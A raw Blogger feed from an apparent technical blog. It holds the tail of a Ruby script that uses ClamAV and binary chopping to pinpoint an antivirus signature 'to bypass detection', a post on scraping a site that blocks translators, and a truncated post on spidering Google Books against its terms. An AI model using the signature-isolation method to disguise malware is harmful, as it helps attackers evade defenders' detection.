/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fo.close&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;.new(&lt;font color="#00ff00"&gt;&lt;b&gt;ClamAV&lt;/b&gt;&lt;/font&gt;::&lt;font color="#00ff00"&gt;&lt;b&gt;CL_SCAN_STDOPT&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result=cv.scanfile(fc1)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/font&gt;&amp;nbsp;( result != &lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;&amp;nbsp;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;Positive: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;fc1&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;: &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;result&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#ff40ff"&gt;&lt;b&gt;nil&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.close&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;incr_chop(&lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(fc1),fc1,increment);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;else&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;# Negative - Delete!&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;End of &lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;#{&lt;/b&gt;&lt;/font&gt;increment&lt;font color="#ff6060"&gt;&lt;b&gt;}&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;&amp;nbsp;chain&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv=&lt;font color="#ff40ff"&gt;&lt;b&gt;nil&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi.close&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.delete(fc1)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;font color="#8080ff"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;meta = &lt;font color="#00ff00"&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/font&gt;.new;&lt;br&gt;&lt;br /&gt;opts=&lt;font color="#00ff00"&gt;&lt;b&gt;OptionParser&lt;/b&gt;&lt;/font&gt;.new&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;opts.on(&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-f&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;, &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;--filepath VAL&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;, &lt;font color="#00ff00"&gt;&lt;b&gt;String&lt;/b&gt;&lt;/font&gt;) {|&lt;font color="#00ffff"&gt;&lt;b&gt;val&lt;/b&gt;&lt;/font&gt;|&amp;nbsp;meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;]=val}&lt;br&gt;&lt;br /&gt;rest=opts.parse(&lt;font color="#00ffff"&gt;&lt;b&gt;ARGV&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#ffff00"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/font&gt;&amp;nbsp;( !meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;].nil? &lt;font color="#ffff00"&gt;&lt;b&gt;and&lt;/b&gt;&lt;/font&gt;&amp;nbsp;( &lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.exists?(meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;]) &lt;font color="#ffff00"&gt;&lt;b&gt;and&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.readable?(meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;]) ))&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;# Phase I&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bin_chop(&lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;]),meta[&lt;font color="#ff40ff"&gt;&lt;b&gt;:fp&lt;/b&gt;&lt;/font&gt;])&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\n\t&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;======== G R A P H ===========&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\n&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;Dir&lt;/b&gt;&lt;/font&gt;.chdir(&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;/tmp&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;files = &lt;font color="#00ff00"&gt;&lt;b&gt;Dir&lt;/b&gt;&lt;/font&gt;[&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;X_*&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;]&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sorted = files.sort {|&lt;font color="#00ffff"&gt;&lt;b&gt;a&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ffff"&gt;&lt;b&gt;b&lt;/b&gt;&lt;/font&gt;|&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(a) &amp;lt;=&amp;gt; &lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(b)}&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sorted.reverse.each_with_index &lt;font color="#ffff00"&gt;&lt;b&gt;do&lt;/b&gt;&lt;/font&gt;&amp;nbsp;|&lt;font color="#00ffff"&gt;&lt;b&gt;fl&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ffff"&gt;&lt;b&gt;i&lt;/b&gt;&lt;/font&gt;|&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\t\t&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;|&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;*i + fl&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ffff"&gt;&lt;b&gt;# Phase II &lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;incr_chop(&lt;font color="#ff40ff"&gt;&lt;b&gt;0&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(sorted.shift),sorted.shift,&lt;font color="#ff40ff"&gt;&lt;b&gt;100&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\n\t&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;======== G R A P H ===========&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\n&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;Dir&lt;/b&gt;&lt;/font&gt;.chdir(&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;/tmp&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;files = &lt;font color="#00ff00"&gt;&lt;b&gt;Dir&lt;/b&gt;&lt;/font&gt;[&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;XA_*&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;]&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sorted = files.sort {|&lt;font color="#00ffff"&gt;&lt;b&gt;a&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ffff"&gt;&lt;b&gt;b&lt;/b&gt;&lt;/font&gt;|&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(a) &amp;lt;=&amp;gt; &lt;font color="#00ff00"&gt;&lt;b&gt;File&lt;/b&gt;&lt;/font&gt;.size(b)}&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sorted.reverse.each_with_index &lt;font color="#ffff00"&gt;&lt;b&gt;do&lt;/b&gt;&lt;/font&gt;&amp;nbsp;|&lt;font color="#00ffff"&gt;&lt;b&gt;fl&lt;/b&gt;&lt;/font&gt;,&lt;font color="#00ffff"&gt;&lt;b&gt;i&lt;/b&gt;&lt;/font&gt;|&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;\t\t&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;|&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&amp;nbsp;+ &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;-&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;*i + fl&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;font color="#ffff00"&gt;&lt;b&gt;else&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts &lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff40ff"&gt;&lt;b&gt;invalid&lt;/b&gt;&lt;/font&gt;&lt;font color="#ff6060"&gt;&lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;puts opts.to_s&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ffff00"&gt;&lt;b&gt;raise&lt;/b&gt;&lt;/font&gt;&amp;nbsp;&lt;font color="#00ff00"&gt;&lt;b&gt;Exception&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;font color="#ffff00"&gt;&lt;b&gt;end&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-30362361329812657?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/30362361329812657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2010/02/zeroing-in-on-av-signature-to-bypass.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/30362361329812657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/30362361329812657'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2010/02/zeroing-in-on-av-signature-to-bypass.html' title='Zeroing in on an AV signature to bypass detection'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-1535893340114124268</id><published>2009-06-29T06:56:00.000-07:00</published><updated>2009-06-29T07:51:38.743-07:00</updated><title type='text'>Translating forbidden URLs</title><content type='html'>If you ever want to read Web pages in a different language you either need to learn the language or use translation services such as&lt;a href="http://translate.google.com/translate_t"&gt; Google Translate&lt;/a&gt;. There are two problems with the second approach. First, some sites of interest specifically prohibit translation engines to directly work on the site content. You can, of course,  save pages locally and then submit them to the translation engine. Second, translation is limited to X number of characters so if you have a long page you would have to split the content in pieces and feed them back to the translator.&lt;br /&gt;&lt;br /&gt;Recently I needed to visit a Russian site, search for content in Russian language and translate it. The site disallowed Google, AltaVista and other well known translation engines. I did not need the full webpage, just what was relevant but that shows the point.&lt;br /&gt;&lt;br /&gt;1. Search for relevant content.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A. You will need&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; require 'rubygems'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; require 'hpricot'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; require 'iconv'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; require 'open-uri'&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;B. Open desired URL&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;doc = Hpricot(open("http://www.xxxxx.ru:8568/?text=%DC+%22+&amp;amp;q=-2232&amp;amp;p=#{npage}"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;C. Search for a "DIV" with a certain attributes, or other tags&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;doc.search("//div[@class='title']").each do |elem|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    if elem.inner_html =~ /some form of pattern you want to search for/&lt;/span&gt;&lt;br /&gt;       ..........&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Normalize to UTF-8 if necessary via&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;     &lt;span style="color: rgb(51, 204, 0);"&gt;ic = Iconv.new('UTF-8','WINDOWS-1251')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;     # Your relevant content&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;      puts ic.iconv(elem.inner_html)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. Use Google API to submit for translation.&lt;br /&gt;&lt;br /&gt;A. You will need&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;require 'rubygems'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;require 'cgi'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;require 'json'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;require 'net/http'&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;B. Use Google Translate JSON API for RU-&gt;EN translation&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;base = 'http://ajax.googleapis.com/ajax/services/language/translate' &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    params = { &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;    :langpair =&gt; "RU|EN", &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;    :q =&gt; text_you_need_translated,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    :v =&gt; 1.0  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    }   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    query = params.map{ |k,v| "#{k}=#{CGI.escape(v.to_s)}" }.join('&amp;amp;')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    # send get request&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    response = Net::HTTP.get_response( URI.parse( "#{base}?#{query}" ) ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    json = JSON.parse( response.body )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    if json['responseStatus'] == 200 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;      json['responseData']['translatedText']&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;      raise StandardError, response['responseDetails']&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    end &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-1535893340114124268?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/1535893340114124268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/06/translating-forbidden-urls.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/1535893340114124268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/1535893340114124268'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/06/translating-forbidden-urls.html' title='Translating forbidden URLs'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-5489402661106803178</id><published>2009-06-02T14:46:00.000-07:00</published><updated>2009-06-02T15:44:23.588-07:00</updated><title type='text'>Google Books Spidering</title><content type='html'>I don't usually read books on Google Books. The scans are not of the best quality and they do not allow me to conveniently print a page or two for offline reading. This is apparently discouraged by Google. It's supposed to be a "demo" site for further buying experience and I am fine with that.&lt;br /&gt;This post is not meant to discuss the merits of "crippled" demos. I actually wanted to talk a little about content protection Google chose to employ for the content.&lt;br /&gt;&lt;br /&gt;In my mind, if you are trying to prevent content sifting or crawling ( and the obviously do since there is a copyright notice on every page), you should evaluate more methods of protection than obfuscating Javascript code fetching images of scanned pages into the browser. You should not rely on AJAX calls to eliminate first generation spidering (href). You should not allow incomplete URL parameter randomization, and you SHOULD tie requests to an existing  session.&lt;br /&gt;&lt;br /&gt;So, on to the example.&lt;br /&gt;Suppose I like &lt;a href="http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;printsec=frontcover&amp;amp;dq=ruby+by+example#PPP1,M1"&gt;Ruby by Example Book&lt;/a&gt;, and I do not agree with Google's TOS, and I want to use the book's content for my own purposes.&lt;br /&gt;Every page of the book scan I am interested in gets fetched with XHR from google and rendered in the browser. Breaking on the request and following it around lands me into the following format JSON response.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Content-Type: application/javascript; charset=UTF-8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Server: OFE/0.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Content-Length: 2496&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 